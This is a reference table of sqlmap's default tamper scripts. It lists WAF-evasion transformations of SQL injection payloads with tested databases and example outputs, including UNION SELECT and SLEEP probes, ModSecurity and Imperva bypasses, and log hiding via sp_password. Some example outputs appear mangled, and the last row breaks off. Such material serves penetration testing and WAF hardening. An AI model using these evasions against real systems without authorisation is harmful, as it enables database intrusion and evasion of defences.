SQLMAP DEFAULT TAMPER SCRIPTS USAGE

TAMPER SCRIPT	REQUERIMENTS / TESTED against	NOTES \ TIPS	INJECT EXAMPLE
apostrophemask	UNIVERSAL \ NOT DESCRIBED	Replaces apostrophe character with its UTF-8 full width counterpart	>>> tamper("1 AND '1'='1'") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
apostrophenullencode	UNIVERSAL \ NOT DESCRIBED	Replaces apostrophe character with its illegal double unicode counterpart	>>> tamper("1 AND '1'='1'") '1 AND %00%271%00%27=%00%271'
appendnullbyte	Microsoft Access \ TEST FURTHER	Useful to bypass weak web application firewalls when the back-end database management system is Microsoft Access - further uses are also possible	>>> tamper('1 AND 1=1') '1 AND 1=1%00'
base64encode	UNIVERSAL \ NOT DESCRIBED	Base64 encode all characters in a given payload	>>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw=='

between	Microsoft SQL Server 2005	Useful to bypass weak and bespoke web application firewalls that filter the greater than character The BETWEEN clause is SQL standard. Hence, this tamper script should work against all **(?) databases**	>>> tamper('1 AND A > B--')
			'1 AND A NOT BETWEEN 0 AND B--'
			>>> tamper('1 AND A = B--')
			'1 AND A BETWEEN B AND B--'

between	MySQL 4	Useful to bypass weak and bespoke web application firewalls that filter the greater than character The BETWEEN clause is SQL standard. Hence, this tamper script should work against all **(?) databases**	>>> tamper('1 AND A > B--')
			'1 AND A NOT BETWEEN 0 AND B--'
			>>> tamper('1 AND A = B--')
			'1 AND A BETWEEN B AND B--'

between	MySQL 5.0	Useful to bypass weak and bespoke web application firewalls that filter the greater than character The BETWEEN clause is SQL standard. Hence, this tamper script should work against all **(?) databases**	>>> tamper('1 AND A > B--')
			'1 AND A NOT BETWEEN 0 AND B--'
			>>> tamper('1 AND A = B--')
			'1 AND A BETWEEN B AND B--'

between	Oracle 10g	Useful to bypass weak and bespoke web application firewalls that filter the greater than character The BETWEEN clause is SQL standard. Hence, this tamper script should work against all **(?) databases**	>>> tamper('1 AND A > B--')
			'1 AND A NOT BETWEEN 0 AND B--'
			>>> tamper('1 AND A = B--')
			'1 AND A BETWEEN B AND B--'

between	PostgreSQL 8.3	Useful to bypass weak and bespoke web application firewalls that filter the greater than character The BETWEEN clause is SQL standard. Hence, this tamper script should work against all **(?) databases**	>>> tamper('1 AND A > B--')
			'1 AND A NOT BETWEEN 0 AND B--'
			>>> tamper('1 AND A = B--')
			'1 AND A BETWEEN B AND B--'

between	PostgreSQL 8.4	Useful to bypass weak and bespoke web application firewalls that filter the greater than character The BETWEEN clause is SQL standard. Hence, this tamper script should work against all **(?) databases**	>>> tamper('1 AND A > B--')
			'1 AND A NOT BETWEEN 0 AND B--'
			>>> tamper('1 AND A = B--')
			'1 AND A BETWEEN B AND B--'

between	PostgreSQL 9.0	Useful to bypass weak and bespoke web application firewalls that filter the greater than character The BETWEEN clause is SQL standard. Hence, this tamper script should work against all **(?) databases**	>>> tamper('1 AND A > B--')
			'1 AND A NOT BETWEEN 0 AND B--'
			>>> tamper('1 AND A = B--')
			'1 AND A BETWEEN B AND B--'

between	MySQL 5.5	Useful to bypass weak and bespoke web application firewalls that filter the greater than character The BETWEEN clause is SQL standard. Hence, this tamper script should work against all **(?) databases**	>>> tamper('1 AND A > B--')
			'1 AND A NOT BETWEEN 0 AND B--'
			>>> tamper('1 AND A = B--')
			'1 AND A BETWEEN B AND B--'

bluecoat	MySQL 5.1	Replaces space character after SQL statement with a valid random blank character. Afterwards replace character = with LIKE operator Useful to bypass Blue Coat's recommended WAF rule configuration	>>> tamper('SELECT id FROM users WHERE id = 1') 'SELECT%09id FROM%09users WHERE%09id LIKE 1'
bluecoat	SGOS	Replaces space character after SQL statement with a valid random blank character. Afterwards replace character = with LIKE operator Useful to bypass Blue Coat's recommended WAF rule configuration	>>> tamper('SELECT id FROM users WHERE id = 1') 'SELECT%09id FROM%09users WHERE%09id LIKE 1'
chardoubleencode	UNIVERSAL \ NOT DESCRIBED	Double url-encodes all characters in a given payload (not processing already encoded) * Useful to bypass some weak web application firewalls that do not double url-decode the request before processing it through their ruleset	>>> tamper('SELECT FIELD FROM%20TABLE') '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'
charencode	Microsoft SQL Server 2005	Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset. The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS	>>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
charencode	MySQL 4	Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset. The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS	>>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
charencode	MySQL 5.0	Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset. The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS	>>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
charencode	MySQL 5.5	Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset. The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS	>>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
charencode	Oracle 10g	Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset. The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS	>>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
charencode	PostgreSQL 8.3	Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset. The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS	>>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
charencode	PostgreSQL 8.4	Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset. The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS	>>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
charencode	PostgreSQL 9.0	Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset. The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS	>>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
charunicodeencode	ASP	Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset	>>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
charunicodeencode	ASP.NET	Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset	>>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
charunicodeencode	Microsoft SQL Server 2000	Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset	>>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
charunicodeencode	Microsoft SQL Server 2005	Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset	>>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
charunicodeencode	MySQL 5.1.56	Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset	>>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
charunicodeencode	PostgreSQL 9.0.3	Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset	>>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
charunicodeescape	UNIVERSAL \ NOT DESCRIBED	Useful to bypass weak filtering and/or WAFs in JSON contexes, Unicode-escapes non-encoded characters in a given payload (not processing already encoded).	>>> tamper('SELECT FIELD FROM TABLE') '\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045'

commalesslimit	MySQL	Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'	>>> tamper('LIMIT 2, 3') 'LIMIT 3 OFFSET 2'
commalesslimit	MySQL 5.0	Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'	>>> tamper('LIMIT 2, 3') 'LIMIT 3 OFFSET 2'
commalesslimit	MySQL 5.5	Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'	>>> tamper('LIMIT 2, 3') 'LIMIT 3 OFFSET 2'
commalessmid	MySQL	Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'	>>> tamper('MID(VERSION(), 1, 1)') 'MID(VERSION() FROM 1 FOR 1)'
commalessmid	MySQL 5.0	Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'	>>> tamper('MID(VERSION(), 1, 1)') 'MID(VERSION() FROM 1 FOR 1)'
commalessmid	MySQL 5.5	Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'	>>> tamper('MID(VERSION(), 1, 1)') 'MID(VERSION() FROM 1 FOR 1)'
commentbeforeparentheses	Microsoft SQL Server	Useful to bypass web application firewalls that block usage of function calls	>>> tamper('SELECT ABS(1)') 'SELECT ABS/**/(1)'
commentbeforeparentheses	MySQL	Useful to bypass web application firewalls that block usage of function calls	>>> tamper('SELECT ABS(1)') 'SELECT ABS/**/(1)'
commentbeforeparentheses	Oracle	Useful to bypass web application firewalls that block usage of function calls	>>> tamper('SELECT ABS(1)') 'SELECT ABS/**/(1)'
commentbeforeparentheses	PostgreSQL	Useful to bypass web application firewalls that block usage of function calls	>>> tamper('SELECT ABS(1)') 'SELECT ABS/**/(1)'
concat2concatws	MySQL	Useful to bypass very weak and bespoke web application firewalls that filter the CONCAT() function	>>> tamper('CONCAT(1,2)') 'CONCAT_WS(MID(CHAR(0),0,0),1,2)'
concat2concatws	MySQL 5.0	Useful to bypass very weak and bespoke web application firewalls that filter the CONCAT() function	>>> tamper('CONCAT(1,2)') 'CONCAT_WS(MID(CHAR(0),0,0),1,2)'
equaltolike	Microsoft SQL Server 2005	Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') The LIKE operator is SQL standard. Hence, this tamper script should work against **all (?)** databases	>>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id LIKE 1'
equaltolike	MySQL 4	Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') The LIKE operator is SQL standard. Hence, this tamper script should work against **all (?)** databases	>>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id LIKE 1'
equaltolike	MySQL 5	Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') The LIKE operator is SQL standard. Hence, this tamper script should work against **all (?)** databases	>>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id LIKE 1'
equaltolike	MySQL 5.5	Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') The LIKE operator is SQL standard. Hence, this tamper script should work against **all (?)** databases	>>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id LIKE 1'
escapequotes	UNIVERSAL \ NOT DESCRIBED	Slash escape quotes (' and ")	>>> tamper('1" AND SLEEP(5)#') '1\\\\" AND SLEEP(5)#'
greatest	MySQL 4	Replaces greater than operator ('>') with 'GREATEST' counterpart. Useful to bypass weak and bespoke web application firewalls that filter the greater than character.The GREATEST clause is a widespread SQL command. Hence, **this tamper script should work against majority** of databases	>>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
greatest	MySQL 5	Replaces greater than operator ('>') with 'GREATEST' counterpart. Useful to bypass weak and bespoke web application firewalls that filter the greater than character.The GREATEST clause is a widespread SQL command. Hence, **this tamper script should work against majority** of databases	>>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
greatest	MySQL 5.5	Replaces greater than operator ('>') with 'GREATEST' counterpart. Useful to bypass weak and bespoke web application firewalls that filter the greater than character.The GREATEST clause is a widespread SQL command. Hence, **this tamper script should work against majority** of databases	>>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
greatest	Oracle 10g	Replaces greater than operator ('>') with 'GREATEST' counterpart. Useful to bypass weak and bespoke web application firewalls that filter the greater than character.The GREATEST clause is a widespread SQL command. Hence, **this tamper script should work against majority** of databases	>>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
greatest	PostgreSQL 8.3	Replaces greater than operator ('>') with 'GREATEST' counterpart. Useful to bypass weak and bespoke web application firewalls that filter the greater than character.The GREATEST clause is a widespread SQL command. Hence, **this tamper script should work against majority** of databases	>>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
greatest	PostgreSQL 8.4	Replaces greater than operator ('>') with 'GREATEST' counterpart. Useful to bypass weak and bespoke web application firewalls that filter the greater than character.The GREATEST clause is a widespread SQL command. Hence, **this tamper script should work against majority** of databases	>>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
greatest	PostgreSQL 9.0	Replaces greater than operator ('>') with 'GREATEST' counterpart. Useful to bypass weak and bespoke web application firewalls that filter the greater than character.The GREATEST clause is a widespread SQL command. Hence, **this tamper script should work against majority** of databases	>>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
halfversionedmorekeywords	MySQL < 5.1	Adds versioned MySQL comment before each keyword. Useful to bypass several web application firewalls when the back-end database management system is MySQL Used during the ModSecurity SQL injection challenge http://modsecurity.org/demo/challenge.html	>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
halfversionedmorekeywords	MySQL 4.0.18	Adds versioned MySQL comment before each keyword. Useful to bypass several web application firewalls when the back-end database management system is MySQL Used during the ModSecurity SQL injection challenge http://modsecurity.org/demo/challenge.html	>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
halfversionedmorekeywords	MySQL 5.0.22	Adds versioned MySQL comment before each keyword. Useful to bypass several web application firewalls when the back-end database management system is MySQL Used during the ModSecurity SQL injection challenge http://modsecurity.org/demo/challenge.html	>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
htmlencode	UNIVERSAL \ NOT DESCRIBED	HTML encode (using code points) all non-alphanumeric characters	>>> tamper("1' AND SLEEP(5)#") '1' AND SLEEP(5)#'
ifnull2ifisnull	MySQL 5.0	Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function	>>> tamper('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'
ifnull2ifisnull	MySQL 5.5	Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function	>>> tamper('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'
informationschemacomment	UNIVERSAL \ NOT DESCRIBED	Add a comment to the end of all occurrences of (blacklisted) "information_schema" identifier	>>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'
least	MySQL 4	Useful to bypass weak and bespoke web application firewalls that filter the greater than character. The LEAST clause is a widespread SQL command. Hence, this tamper script **should work against majority of databases**.	>>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1'
least	MySQL 5	Useful to bypass weak and bespoke web application firewalls that filter the greater than character. The LEAST clause is a widespread SQL command. Hence, this tamper script **should work against majority of databases**.	>>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1'
least	MySQL 5.5	Useful to bypass weak and bespoke web application firewalls that filter the greater than character. The LEAST clause is a widespread SQL command. Hence, this tamper script **should work against majority of databases**.	>>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1'
least	Oracle 10g	Useful to bypass weak and bespoke web application firewalls that filter the greater than character. The LEAST clause is a widespread SQL command. Hence, this tamper script **should work against majority of databases**.	>>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1'
least	PostgreSQL 8.3	Useful to bypass weak and bespoke web application firewalls that filter the greater than character. The LEAST clause is a widespread SQL command. Hence, this tamper script **should work against majority of databases**.	>>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1'
least	PostgreSQL 8.4	Useful to bypass weak and bespoke web application firewalls that filter the greater than character. The LEAST clause is a widespread SQL command. Hence, this tamper script **should work against majority of databases**.	>>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1'
least	PostgreSQL 9.0	Useful to bypass weak and bespoke web application firewalls that filter the greater than character. The LEAST clause is a widespread SQL command. Hence, this tamper script **should work against majority of databases**.	>>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1'
lowercase	Microsoft SQL Server 2005	Replaces each keyword character with lower case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. This tamper script **should work against all (?) databases.**	>>> tamper('INSERT') 'insert'
lowercase	MySQL 4	Replaces each keyword character with lower case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. This tamper script **should work against all (?) databases.**	>>> tamper('INSERT') 'insert'
lowercase	MySQL 5.0	Replaces each keyword character with lower case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. This tamper script **should work against all (?) databases.**	>>> tamper('INSERT') 'insert'
lowercase	MySQL 5.5	Replaces each keyword character with lower case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. This tamper script **should work against all (?) databases.**	>>> tamper('INSERT') 'insert'
lowercase	Oracle 10g	Replaces each keyword character with lower case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. This tamper script **should work against all (?) databases.**	>>> tamper('INSERT') 'insert'
lowercase	PostgreSQL 8.3	Replaces each keyword character with lower case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. This tamper script **should work against all (?) databases.**	>>> tamper('INSERT') 'insert'

lowercase	PostgreSQL 8.4	Replaces each keyword character with lower case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. This tamper script **should work against all (?) databases.**	>>> tamper('INSERT') 'insert'
lowercase	PostgreSQL 9.0	Replaces each keyword character with lower case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. This tamper script **should work against all (?) databases.**	>>> tamper('INSERT') 'insert'

modsecurityversioned	MySQL	Embraces complete query with versioned comment. Useful to bypass ModSecurity WAF/IDS	>>> import random
			>>> random.seed(0)
			>>> tamper('1 AND 2>1--')
			'1 /*!30874AND 2>1*/--'

modsecurityversioned	MySQL 5.0	Useful to bypass ModSecurity WAF/IDS	>>> import random
			>>> random.seed(0)
			>>> tamper('1 AND 2>1--')
			'1 /*!30874AND 2>1*/--'

multiplespaces	UNIVERSAL \ NOT DESCRIBED	Adds multiple spaces around SQL keywords. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt	>>> random.seed(0)
			>>> tamper('1 UNION SELECT foobar')
			'1 UNION SELECT foobar'

nonrecursivereplacement	UNIVERSAL \ NOT DESCRIBED	Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters. Useful to bypass very weak custom filters	>>> random.seed(0)
			>>> tamper('1 UNION SELECT 2--')
			'1 UNIOUNIONN SELESELECTCT 2--'

overlongutf8	UNIVERSAL \ NOT DESCRIBED	Converts all characters in a given payload (not processing already encoded) Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/	>>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') 'SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1'
percentage	ASP	Adds a percentage sign ('%') infront of each character. Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT FIELD FROM TABLE') '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' ""
percentage	Microsoft SQL Server 2000	Adds a percentage sign ('%') infront of each character. Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT FIELD FROM TABLE') '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' ""
percentage	Microsoft SQL Server 2005	Adds a percentage sign ('%') infront of each character. Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT FIELD FROM TABLE') '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' ""
percentage	MySQL 5.1.56	Adds a percentage sign ('%') infront of each character. Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT FIELD FROM TABLE') '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' ""
percentage	MySQL 5.5.11	Adds a percentage sign ('%') infront of each character. Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT FIELD FROM TABLE') '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' ""
percentage	PostgreSQL 9.0	Adds a percentage sign ('%') infront of each character. Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT FIELD FROM TABLE') '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' ""
plus2concat	Microsoft SQL Server 2012	Replaces plus ('+') character with function CONCAT(). Useful in case ('+') character is filtered.	>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'
plus2concat	Microsoft SQL Server 2012+	Replaces plus ('+') character with function CONCAT(). Useful in case ('+') character is filtered.	>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'
plus2fnconcat	Microsoft SQL Server 2008	Replaces plus ('+') character with ODBC function {fn CONCAT()}. Useful in case ('+') character is filtered https://msdn.microsoft.com/en-us/library/bb630290.aspx	tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'
plus2fnconcat	Microsoft SQL Server 2008+	Replaces plus ('+') character with ODBC function {fn CONCAT()}. Useful in case ('+') character is filtered https://msdn.microsoft.com/en-us/library/bb630290.aspx	tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'

randomcase	Microsoft SQL Server 2005	Replaces each keyword character with random case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> import random
			>>> random.seed(0)
			>>> tamper('INSERT')
			'INseRt'

randomcase	MySQL 4	Replaces each keyword character with random case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> import random
			>>> random.seed(0)
			>>> tamper('INSERT')
			'INseRt'

randomcase	MySQL 5	Replaces each keyword character with random case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> import random
			>>> random.seed(0)
			>>> tamper('INSERT')
			'INseRt'

randomcase	MySQL 5.5	Replaces each keyword character with random case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> import random
			>>> random.seed(0)
			>>> tamper('INSERT')
			'INseRt'

randomcase	Oracle 10g	Replaces each keyword character with random case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> import random
			>>> random.seed(0)
			>>> tamper('INSERT')
			'INseRt'

randomcase	PostgreSQL 8.3	Replaces each keyword character with random case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> import random
			>>> random.seed(0)
			>>> tamper('INSERT')
			'INseRt'

randomcase	PostgreSQL 8.4	Replaces each keyword character with random case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> import random
			>>> random.seed(0)
			>>> tamper('INSERT')
			'INseRt'

randomcase	PostgreSQL 9.0	Replaces each keyword character with random case value. Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. **This tamper script should work against all (?) databases**	>>> import random
			>>> random.seed(0)
			>>> tamper('INSERT')
			'INseRt'

randomcomments	UNIVERSAL \ NOT DESCRIBED	Add random comments to SQL keywords.	>>> import random
			>>> random.seed(0)
			>>> tamper('INSERT')
			'I/**/N/**/SERT'

securesphere	UNIVERSAL \ NOT DESCRIBED	Appends special crafted string. **Useful for bypassing Imperva SecureSphere WAF**. Reference: http://seclists.org/fulldisclosure/2011/May/163	>>> tamper('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"
sp_password	MSSQL	Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs. Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure Reference: http://websec.ca/kb/sql_injection	>>> tamper('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password'
space2comment	Microsoft SQL Server 2005	Replaces space character (' ') with comments '/**/' Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users'
space2comment	MySQL 4	Replaces space character (' ') with comments '/**/' Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users'
space2comment	MySQL 5	Replaces space character (' ') with comments '/**/' Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users'
space2comment	MySQL 5.5	Replaces space character (' ') with comments '/**/' Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users'
space2comment	Oracle 10g	Replaces space character (' ') with comments '/**/' Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users'
space2comment	PostgreSQL 8.3	Replaces space character (' ') with comments '/**/' Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users'
space2comment	PostgreSQL 8.4	Replaces space character (' ') with comments '/**/' Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users'
space2comment	PostgreSQL 9.0	Replaces space character (' ') with comments '/**/' Useful to bypass weak and bespoke web application firewalls	>>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users'

space2dash	MSSQL	Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n'). Useful to bypass several web application firewalls Used during the ZeroNights SQL injection challenge https://proton.onsec.ru/contest/	>>> random.seed(0)
			>>> tamper('1 AND 9227=9227')
